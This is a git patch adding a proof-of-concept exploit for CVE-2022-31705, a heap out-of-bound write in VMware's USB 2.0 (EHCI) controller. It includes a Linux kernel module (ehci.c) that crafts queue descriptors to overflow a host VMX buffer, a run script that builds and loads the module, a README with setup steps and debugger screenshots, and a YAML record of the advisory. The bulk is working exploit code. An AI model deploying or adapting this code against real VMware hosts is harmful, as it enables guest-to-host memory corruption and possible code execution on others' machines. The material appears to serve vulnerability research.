From 78e8617bbae1afc30aa018a6c476b08139b5f020 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=A5=BD=E5=90=8D=E5=AD=97?= Date: Fri, 21 Apr 2023 16:11:33 +0000 Subject: [PATCH] CVE-2022-31705 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 好名字 --- cve/vmware/2022/CVE-2022-31705/Makefile | 12 ++ cve/vmware/2022/CVE-2022-31705/README.md | 39 +++++ cve/vmware/2022/CVE-2022-31705/clean.sh | 1 + cve/vmware/2022/CVE-2022-31705/ehci.c | 203 +++++++++++++++++++++++ cve/vmware/2022/CVE-2022-31705/run.sh | 5 + cve/vmware/2022/yaml/CVE-2022-31705.yaml | 20 +++ 6 files changed, 280 insertions(+) create mode 100644 cve/vmware/2022/CVE-2022-31705/Makefile create mode 100644 cve/vmware/2022/CVE-2022-31705/README.md create mode 100644 cve/vmware/2022/CVE-2022-31705/clean.sh create mode 100644 cve/vmware/2022/CVE-2022-31705/ehci.c create mode 100644 cve/vmware/2022/CVE-2022-31705/run.sh create mode 100644 cve/vmware/2022/yaml/CVE-2022-31705.yaml diff --git a/cve/vmware/2022/CVE-2022-31705/Makefile b/cve/vmware/2022/CVE-2022-31705/Makefile new file mode 100644 index 00000000..c3767573 --- /dev/null +++ b/cve/vmware/2022/CVE-2022-31705/Makefile @@ -0,0 +1,12 @@ + +MY_TARGET := ehci +obj-m += $(MY_TARGET).o + + +CFLAGS_ehci.o := -O0 + +all: + make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean diff --git a/cve/vmware/2022/CVE-2022-31705/README.md b/cve/vmware/2022/CVE-2022-31705/README.md new file mode 100644 index 00000000..49441db6 --- /dev/null +++ b/cve/vmware/2022/CVE-2022-31705/README.md @@ -0,0 +1,39 @@ + +# CVE-2022-31705 + +## Intro + +* https://www.vmware.com/content/vmware/vmware-published-sites/us/security/advisories/VMSA-2022-0033.html.html +* Test on windows vmware workstation 16.2.0, with guest os ubuntu server 22 +* At leat one usb device is be attached to guest machine +* change the 'qh->field4' in the ehci.c code +* Type 'sudo ./run.sh' to compile and run the poc + +## Example + +* use 'lsusb' to determine the device id, use the device id to set 'qh->field4' + +![](https://s3.us-west-2.amazonaws.com/secure.notion-static.com/13d5dfa5-3376-414e-a89c-819e3b80f0a8/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20230109%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20230109T074847Z&X-Amz-Expires=86400&X-Amz-Signature=6140baba04353256cc66500949d17dbf012347e68323574de2670dcfd4682651&X-Amz-SignedHeaders=host&response-content-disposition=filename%3D%22Untitled.png%22&x-id=GetObject) + +* vmx code will alloc a struct with 0x18 size (the size can be controlled in the code) buffer for reading guest physical memory. + +![](https://s3.us-west-2.amazonaws.com/secure.notion-static.com/a4486050-9bf2-45da-944d-110847734526/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20230109%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20230109T075113Z&X-Amz-Expires=86400&X-Amz-Signature=bd9b4126e49b1a5d6f8bdb9e703ae96c471f996843245ab28369503c1f7aefd3&X-Amz-SignedHeaders=host&response-content-disposition=filename%3D%22Untitled.png%22&x-id=GetObject) + +* the total size of this struct will be 0x400 + +![](https://s3.us-west-2.amazonaws.com/secure.notion-static.com/ce3a8ebf-95e8-4918-8e3f-d6690f8561c3/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20230109%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20230109T075336Z&X-Amz-Expires=86400&X-Amz-Signature=59e25c5fdce1e2bc74d8847f2f6a0001faa185f550c96ac06a38d8d2d3c4e6a8&X-Amz-SignedHeaders=host&response-content-disposition=filename%3D%22Untitled.png%22&x-id=GetObject) + +* address of this struct is 0x26d6caa80d0 + +![](https://s3.us-west-2.amazonaws.com/secure.notion-static.com/a8e6ff74-a8e9-480e-b1fe-6e3681b1697b/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20230109%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20230109T075523Z&X-Amz-Expires=86400&X-Amz-Signature=b8509cadf8a3eb9c95855c10a30a94bd53b162c17ec8453fe0624a189671f6a5&X-Amz-SignedHeaders=host&response-content-disposition=filename%3D%22Untitled.png%22&x-id=GetObject) + +* in the end, vmx will read 0x800 size (can be controlled in the code) of physical memory into 0x2606CAA84C0, which is the last 0x10 byte of 0x26d6caa80d0 (first 0x8 is already readed at the alloc stage) + +![](https://s3.us-west-2.amazonaws.com/secure.notion-static.com/2ba45b77-d246-48df-b877-97bfb780d78e/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20230109%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20230109T075805Z&X-Amz-Expires=86400&X-Amz-Signature=90107fb78f934b9082f520b10b4fd96df27595ca126a21bffbb09b21c8114e75&X-Amz-SignedHeaders=host&response-content-disposition=filename%3D%22Untitled.png%22&x-id=GetObject) + +* for sure, it will cause a OOB write. + +![](https://s3.us-west-2.amazonaws.com/secure.notion-static.com/2211aea8-5026-425d-bad0-5a263f6705c8/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20230109%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20230109T080241Z&X-Amz-Expires=86400&X-Amz-Signature=e2e9d67d5dc4ee3b45e64ea70253345d9098753f37f5c3cd71ce16487aeb44c8&X-Amz-SignedHeaders=host&response-content-disposition=filename%3D%22Untitled.png%22&x-id=GetObject) + + + diff --git a/cve/vmware/2022/CVE-2022-31705/clean.sh b/cve/vmware/2022/CVE-2022-31705/clean.sh new file mode 100644 index 00000000..5ae42321 --- /dev/null +++ b/cve/vmware/2022/CVE-2022-31705/clean.sh @@ -0,0 +1 @@ +make clean \ No newline at end of file diff --git a/cve/vmware/2022/CVE-2022-31705/ehci.c b/cve/vmware/2022/CVE-2022-31705/ehci.c new file mode 100644 index 00000000..e4f6f2d9 --- /dev/null +++ b/cve/vmware/2022/CVE-2022-31705/ehci.c @@ -0,0 +1,203 @@ + +#include +#include +#include +#include +#include +#include +#include +#include + +// qh->field4 need to be set. +// test on windows vmware workstation 16.2.0, with guest os ubuntu server 22 + + +#define MY_ALIGN(n, m) ((n+m-1)&~(m-1)) + + +static void free_page_below_4gb(void *mem,size_t size) { + free_pages_exact(mem,size); +} + +// should not use too big size +static void * alloc_pages_below_4gb(size_t size) { + uint64_t mem_paddr = 0; + uint8_t * mem = NULL; + while (1) { + mem = alloc_pages_exact(size,GFP_ATOMIC|__GFP_ZERO); + if (!mem) + continue; + mem_paddr = (uint64_t)virt_to_phys(mem); + if (mem_paddr < 0xffffffff) + return mem; + free_pages_exact(mem,size); + } +} + + + + +/*====================================================Main Loop=============================================================*/ + + + +#define EHCI_VENDOR_ID 0x15ad +#define EHCI_DEVICE_ID 0x0770 + +#define EHCI_DATA_MEM_POOL 4*1024*1024 + + +typedef struct { + uint64_t field0; + uint32_t field8; + uint32_t field12; + uint64_t field16; + uint32_t field24; + uint32_t field28; +}qtd_desc_struct; + +typedef struct { + uint32_t field0; + uint32_t field4; + uint32_t field8; + uint32_t field12; + qtd_desc_struct qtd; + // uint64_t field16; // QTD from here + // uint64_t field24; + // uint64_t field32; + // uint64_t field40; +}qh_desc_struct; + + +// 32 offset High dword +// 40 offset Low dword + + + +static int main_loop(struct pci_dev *pdev){ + + uint8_t * mmio_mem = NULL; + uint64_t mmio_size = 0; + + uint8_t * data_mem = NULL; + + qh_desc_struct * qh_desc = NULL; + uint8_t * qtd_list_mem = NULL; + qtd_desc_struct * qtd_desc = NULL; + + uint64_t overflow_qtd_times = 0; + + uint8_t * pad_mem = NULL; + + printk(KERN_ALERT "[%s]: enter main loop\n",__func__); + + mmio_mem = (uint8_t *)pci_ioremap_bar(pdev, 0); + mmio_size = pci_resource_len(pdev, 0); + printk(KERN_ALERT "[%s]: ehci mmio_mem: %llx, mmio_size: %llx\n",__func__,(uint64_t)mmio_mem,(uint64_t)mmio_size); + + data_mem = alloc_pages_below_4gb(EHCI_DATA_MEM_POOL); + memset(data_mem,0,EHCI_DATA_MEM_POOL); + data_mem = (uint8_t *)MY_ALIGN((uint64_t)data_mem,32); + + printk(KERN_ALERT "[%s]: ehci data_mem vaddr: %llx paddr: %llx\n",__func__,(uint64_t)data_mem,(uint64_t)virt_to_phys(data_mem)); + + *(uint32_t *)(mmio_mem+16) = 0; + + qh_desc = (qh_desc_struct *)data_mem; + qh_desc->field0 = (uint64_t)virt_to_phys(qh_desc) & 0xffffffff; + // set b8 array index + // not sure the relationship between index and usb bus id, or device id + // simply test show that this can be set with a device id which device is on the bus 001 + qh_desc->field4 = 2; + // set the qtd phyaddr + qh_desc->field12 = 0; + + // byte1 for switch case and index + // case 2 for alloc urb packet + // 1 set phyaddr to field 32 + + qh_desc->qtd.field8 = (2 << 8) | (1 << 12); + qh_desc->qtd.field8 = (0x8 << 16) | qh_desc->qtd.field8; + qh_desc->qtd.field8 = 0x80 | qh_desc->qtd.field8; + + qh_desc->qtd.field16 = (uint64_t)virt_to_phys((void *)(qh_desc+1)) & 0xffffffff; + + // write buffer will be 0x10 + 0x8 = 0x18 + + *(uint64_t *)(qh_desc+1) = ((uint64_t)0x10 << 48) | 0x80; + + qtd_list_mem = (uint8_t *)MY_ALIGN((uint64_t)(qh_desc+1)+sizeof(uint64_t),32); + + qtd_desc = (qtd_desc_struct *)qtd_list_mem; + + // qtd mem phyaddr, 0 for exit + qh_desc->qtd.field0 = (uint64_t)virt_to_phys((void *)qtd_desc) & 0xffffffff; + + printk(KERN_ALERT "[%s]: ehci qtd_list_mem vaddr: %llx, paddr: %llx\n",__func__,(uint64_t)qtd_list_mem,(uint64_t)virt_to_phys(qtd_list_mem)); + + // triggle overflow + + overflow_qtd_times = 74900; + + while (overflow_qtd_times--) { + + qtd_desc->field0 = (uint64_t)virt_to_phys(qtd_desc + 1) & 0xffffffff; + qtd_desc->field8 = (1 << 8) | (uint8_t)(-1); + qtd_desc->field8 = (0x7000 << 16) | qtd_desc->field8; + qtd_desc = qtd_desc + 1; + } + + // trigle out of bound write + qtd_desc->field0 = 1; // stop it + qtd_desc->field8 = (0 << 8) | (uint8_t)(-1); + // write size 0x800 + qtd_desc->field8 = (0x800 << 16) | qtd_desc->field8; + // page num index + qtd_desc->field8 = (0x3 << 12) | qtd_desc->field8; + // page inside offset + qtd_desc->field12 = 0; + + pad_mem = (uint8_t *)MY_ALIGN((uint64_t)(qtd_desc+1),0x1000); + memset(pad_mem,'A',0x800); + // page num + qtd_desc->field24 = (uint64_t)virt_to_phys(pad_mem) & 0xffffffff; + + + *(uint32_t *)(mmio_mem+32) = (uint64_t)virt_to_phys(qh_desc) >> 32; + *(uint32_t *)(mmio_mem+40) = (uint64_t)virt_to_phys(qh_desc) & 0xffffffff; + + // *(uint32_t *)(mmio_mem+16) = 0x61; + *(uint32_t *)(mmio_mem+16) = 0x61; + + + *(uint32_t *)(mmio_mem+16) = 0; + free_page_below_4gb(data_mem,EHCI_DATA_MEM_POOL); + printk(KERN_ALERT "[%s]: exit main loop\n",__func__); + return 0; +} + + +/*====================================Linux Module Register==========================================================*/ + +static int pci_module_init(void) { + + struct pci_dev *pdev = NULL; + pdev = pci_get_device(EHCI_VENDOR_ID,EHCI_DEVICE_ID,NULL); + if(!pdev){ + printk(KERN_ALERT "[%s]: fail to find pdev\n",__func__); + } + // %p output will be hashed + printk(KERN_ALERT "[%s]: find pdev %llx\n",__func__,(uint64_t)pdev); + main_loop(pdev); + return 0; +} + +static void pci_module_exit(void) { + printk(KERN_ALERT "[%s]: module exit\n",__func__); +} + + +MODULE_LICENSE("GPL"); + +module_init(pci_module_init); +module_exit(pci_module_exit); \ No newline at end of file diff --git a/cve/vmware/2022/CVE-2022-31705/run.sh b/cve/vmware/2022/CVE-2022-31705/run.sh new file mode 100644 index 00000000..f38a38ea --- /dev/null +++ b/cve/vmware/2022/CVE-2022-31705/run.sh @@ -0,0 +1,5 @@ +make all && \ +sudo insmod ehci.ko && \ +sleep 0.5 && \ +sudo rmmod ehci.ko && \ +sudo dmesg | tail \ No newline at end of file diff --git a/cve/vmware/2022/yaml/CVE-2022-31705.yaml b/cve/vmware/2022/yaml/CVE-2022-31705.yaml new file mode 100644 index 00000000..ed2a5c45 --- /dev/null +++ b/cve/vmware/2022/yaml/CVE-2022-31705.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-31705 +source: https://github.com/s0duku/cve-2022-31705 +info: + name: Vmware是一款虚拟机软件。 + severity: high + description: | + VMware ESXi、Workstation 和 Fusion 在 USB 2.0 控制器 (EHCI) 中包含一个堆越界写入漏洞。在虚拟机上具有本地管理权限的恶意行为者可利用此问题,将代码作为主机上运行的虚拟机 VMX 进程执行。在 ESXi 上,漏洞利用包含在 VMX 沙箱中,而在工作站和 Fusion 上,这可能会导致在安装了工作站或 Fusion 的计算机上执行代码。 + scope-of-influence: + ESXi 8.0,ESXi 7.0,Fusion 12.2.5,Workstation 16.2.5 + reference: + - https://nvd.nist.gov/vuln/detail/cve-2022-31705 + - https://www.vmware.com/content/vmware/vmware-published-sites/us/security/advisories/VMSA-2022-0033.html.html + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H + cvss-score: 8.2 + cve-id: CVE-2022-31705 + cwe-id: CWE-787 + cnvd-id: None + kve-id: None + tags: vmware ESXi, cve2022 \ No newline at end of file -- Gitee